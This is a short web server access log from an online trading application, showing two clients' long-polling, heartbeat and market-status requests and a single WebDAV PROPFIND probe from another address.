[09/Jan/2026:13:01:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935153500 HTTP/1.1" -
[09/Jan/2026:13:01:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935157589 HTTP/1.1" -
[09/Jan/2026:13:01:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935158659 HTTP/1.1" -
[09/Jan/2026:13:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:01:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935162879 HTTP/1.1" -
[09/Jan/2026:13:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935163785 HTTP/1.1" -
[09/Jan/2026:13:01:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935168091 HTTP/1.1" -
[09/Jan/2026:13:01:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935168845 HTTP/1.1" -
[09/Jan/2026:13:01:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935173296 HTTP/1.1" -
[09/Jan/2026:13:01:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935173973 HTTP/1.1" -
[09/Jan/2026:13:01:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:01:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935178487 HTTP/1.1" -
[09/Jan/2026:13:01:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935179102 HTTP/1.1" -
[09/Jan/2026:13:01:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:01:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:01:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:01:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935183771 HTTP/1.1" -
[09/Jan/2026:13:01:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935184213 HTTP/1.1" -
[09/Jan/2026:13:02:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935188919 HTTP/1.1" -
[09/Jan/2026:13:02:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935189345 HTTP/1.1" -
[09/Jan/2026:13:02:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:02:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935194125 HTTP/1.1" -
[09/Jan/2026:13:02:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935194492 HTTP/1.1" -
[09/Jan/2026:13:02:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935199361 HTTP/1.1" -
[09/Jan/2026:13:02:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935199553 HTTP/1.1" -
[09/Jan/2026:13:02:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935204568 HTTP/1.1" -
[09/Jan/2026:13:02:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935204694 HTTP/1.1" -
[09/Jan/2026:13:02:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:02:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935209804 HTTP/1.1" -
[09/Jan/2026:13:02:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935209807 HTTP/1.1" -
[09/Jan/2026:13:02:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:02:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:02:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935214905 HTTP/1.1" -
[09/Jan/2026:13:02:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935214971 HTTP/1.1" -
[09/Jan/2026:13:02:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935220064 HTTP/1.1" -
[09/Jan/2026:13:02:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935220217 HTTP/1.1" -
[09/Jan/2026:13:02:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:02:35 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:13:02:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935225209 HTTP/1.1" -
[09/Jan/2026:13:02:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935225372 HTTP/1.1" -
[09/Jan/2026:13:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935230301 HTTP/1.1" -
[09/Jan/2026:13:02:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935230650 HTTP/1.1" -
[09/Jan/2026:13:02:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935235467 HTTP/1.1" -
[09/Jan/2026:13:02:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935235841 HTTP/1.1" -
[09/Jan/2026:13:02:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:02:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935240603 HTTP/1.1" -
[09/Jan/2026:13:02:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935241116 HTTP/1.1" -
[09/Jan/2026:13:02:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:02:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:02:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:02:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935245657 HTTP/1.1" -
[09/Jan/2026:13:02:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935246339 HTTP/1.1" -
[09/Jan/2026:13:03:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935250874 HTTP/1.1" -
[09/Jan/2026:13:03:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935251619 HTTP/1.1" -
[09/Jan/2026:13:03:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:03:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935255998 HTTP/1.1" -
[09/Jan/2026:13:03:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935256823 HTTP/1.1" -
[09/Jan/2026:13:03:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935261069 HTTP/1.1" -
[09/Jan/2026:13:03:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935262097 HTTP/1.1" -
[09/Jan/2026:13:03:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:03:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935266228 HTTP/1.1" -
[09/Jan/2026:13:03:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935267225 HTTP/1.1" -
[09/Jan/2026:13:03:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935271273 HTTP/1.1" -
[09/Jan/2026:13:03:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935272458 HTTP/1.1" -
[09/Jan/2026:13:03:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:03:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935276440 HTTP/1.1" -
[09/Jan/2026:13:03:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935277665 HTTP/1.1" -
[09/Jan/2026:13:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935281576 HTTP/1.1" -
[09/Jan/2026:13:03:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935283000 HTTP/1.1" -
[09/Jan/2026:13:03:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:03:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935286719 HTTP/1.1" -
[09/Jan/2026:13:03:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935288203 HTTP/1.1" -
[09/Jan/2026:13:03:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935291779 HTTP/1.1" -
[09/Jan/2026:13:03:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:13:03:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935293447 HTTP/1.1" -
[09/Jan/2026:13:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
